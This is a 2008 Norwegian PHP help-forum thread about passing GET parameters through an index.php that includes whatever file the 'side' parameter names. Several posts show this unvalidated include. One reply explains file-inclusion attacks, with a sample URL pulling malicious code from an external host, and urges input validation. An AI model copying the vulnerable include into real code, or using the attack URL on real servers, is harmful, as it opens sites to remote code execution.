Hayer Skrevet 2. april 2008 Del Skrevet 2. april 2008 Hei! Her er da index.php filen <? $Include = $_GET['side']; ?> <table border="1" width="1000"> <tr> <!-- Venstre TD @ Start --> <td width="25%" valign="top"> <? require_once("script/kategorier.php");?> </td> <!-- Venstre TD @ End --> <!-- Midt TD @ Start --> <td width="50%" valign="top"> <? //require_once("script/siste_innlegg.php");?> <? include_once($Include);?> </td> <!-- Midt TD @ End --> <!-- Høyre TD @ Start --> <td width="25%" valign="top">Yay</td> <!-- Høyre TD @ End --> </tr> </table> å her er slik jeg etter spør det ene scriptet mitt som bruker GET funksjonen for å motta data. index.php?side=script/kategori_sok.php?kategori=Data Index.php script.MAPPE --> kategori_sok.php mulig å gjøre d? Lenke til kommentar
Rasks Skrevet 2. april 2008 Del Skrevet 2. april 2008 Jeg regner med at det ikke funker slik du har gjort det. Her er en måte å gjøre det på. <? $Include = $_GET['side']; $get = $_GET['get']; ?> <table border="1" width="1000"> <tr> <!-- Venstre TD @ Start --> <td width="25%" valign="top"> <? require_once("script/kategorier.php");?> </td> <!-- Venstre TD @ End --> <!-- Midt TD @ Start --> <td width="50%" valign="top"> <? //require_once("script/siste_innlegg.php");?> <? include_once($Include."?".$get);?> </td> <!-- Midt TD @ End --> <!-- Høyre TD @ Start --> <td width="25%" valign="top">Yay</td> <!-- Høyre TD @ End --> </tr> </table> Jeg tror det skal gå ann å skrive uten at det skaper problemer: index.php?side=script/kategori_sok.php&get=kategori=Data Men jeg må kommentere at koden ikke er så veldig sikker, folk kan inkludere hvilken som helst side på domene ditt. Du kan f.eks legge alle sidene som til tillater at inkludere i et array og legge til en in_array skjekk før du inkluderer. Lenke til kommentar
Runar0 Skrevet 2. april 2008 Del Skrevet 2. april 2008 (endret) For det første så vil ikkje include('side.php?noe') fungere slik som Rasks sin kode gjør. For det andre så ser eg ingen problem med den koden (sånn bortsett fra at den er åpen for inkludering av alle filer på webhosten din) du allerede har, vist du skriver inn index.php?side=script/kategori_sok.php&get=kategori=Data så blir script/kategori_sok.php inkludert og i den fila så kan du hente ut get ved å bruke $_GET['get'] akkurat som du gjør i index.php Endret 2. april 2008 av Runar0 Lenke til kommentar
Hayer Skrevet 2. april 2008 Forfatter Del Skrevet 2. april 2008 (endret) så for at d skal funke må jeg ha "get -> get"? edit: ingen lettere, mer elegante måter å løse det på? Endret 2. april 2008 av Hayer Lenke til kommentar
Runar0 Skrevet 2. april 2008 Del Skrevet 2. april 2008 Finst nok ingen anna måte å hente fram get variabler enn å bruker $_GET array'en. (Med mindre du bruker register_globals noe som ikkje er annbefalt pga sikkerthet og som vil forsvinne når php6 kommer ut) Lenke til kommentar
Hayer Skrevet 2. april 2008 Forfatter Del Skrevet 2. april 2008 men, kan du gi et litt bedre eksempel? Lenke til kommentar
Runar0 Skrevet 2. april 2008 Del Skrevet 2. april 2008 <?php // index.php include $_GET['side']; ?> <?php // side.php echo $_GET['text']; ?> Vist du da går til index.php?side=side.php&tekst=Heisann! så vil index.php inkludere side.php og side.php vil skrive ut Heisann! Lenke til kommentar
Zandar Skrevet 3. april 2008 Del Skrevet 3. april 2008 <?php // index.php include $_GET['side']; ?> <?php // side.php echo $_GET['text']; ?> Vist du da går til index.php?side=side.php&tekst=Heisann! så vil index.php inkludere side.php og side.php vil skrive ut Heisann! Huff.. du må ikke gi folk så usikker kode!! Koden ovenfor inneholder et kjempestort sikkerhetshull og bør ikke benyttes. For det første gir den muligheten til å inkludere enhver fil som brukeren(som webserveren kjører under) har tilgang til. Også utenfor webområdet på serveren. For det andre så kan include også inkludere kode fra eksterne sider. Eks include('http://www.eksternside.com/ondskapsfullkode.txt'); Dersom ondskapsfullkode.txt inneholder phpkode vil det bli kjørt og utført på serveren som inkluderer fila. Dette kan enkelt utnyttes ved å manipulere URL www.siden.com/index.php?side=http://www.eksternside.com/ondskapsfullkode.txt Er vel sagt flere ganger her på forumet, men det kan ikke sies nok. Valider input!! Ta en titt på følgende sider for mere informasjon om Code injection og hvordan du kan forhindre det. Include File Injection Code Injection Vulnerabilities Explained Lenke til kommentar
Hayer Skrevet 3. april 2008 Forfatter Del Skrevet 3. april 2008 driter i sikkerhetshull akkurat nå, tester lokalt, setter opp validering senere. Lenke til kommentar
Runar0 Skrevet 3. april 2008 Del Skrevet 3. april 2008 <?php // index.php include $_GET['side']; ?> <?php // side.php echo $_GET['text']; ?> Vist du da går til index.php?side=side.php&tekst=Heisann! så vil index.php inkludere side.php og side.php vil skrive ut Heisann! Huff.. du må ikke gi folk så usikker kode!! Koden ovenfor inneholder et kjempestort sikkerhetshull og bør ikke benyttes. For det første gir den muligheten til å inkludere enhver fil som brukeren(som webserveren kjører under) har tilgang til. Også utenfor webområdet på serveren. For det andre så kan include også inkludere kode fra eksterne sider. Eks include('http://www.eksternside.com/ondskapsfullkode.txt'); Dersom ondskapsfullkode.txt inneholder phpkode vil det bli kjørt og utført på serveren som inkluderer fila. Dette kan enkelt utnyttes ved å manipulere URL www.siden.com/index.php?side=http://www.eksternside.com/ondskapsfullkode.txt Er vel sagt flere ganger her på forumet, men det kan ikke sies nok. Valider input!! Ta en titt på følgende sider for mere informasjon om Code injection og hvordan du kan forhindre det. Include File Injection Code Injection Vulnerabilities Explained Vist du leser litt opp så ser du at eg har kommentert sikkertheten sjølv, den koden der va eit 'proof-of-consept' Lenke til kommentar
Anbefalte innlegg
Opprett en konto eller logg inn for å kommentere
Du må være et medlem for å kunne skrive en kommentar
Opprett konto
Det er enkelt å melde seg inn for å starte en ny konto!
Start en kontoLogg inn
Har du allerede en konto? Logg inn her.
Logg inn nå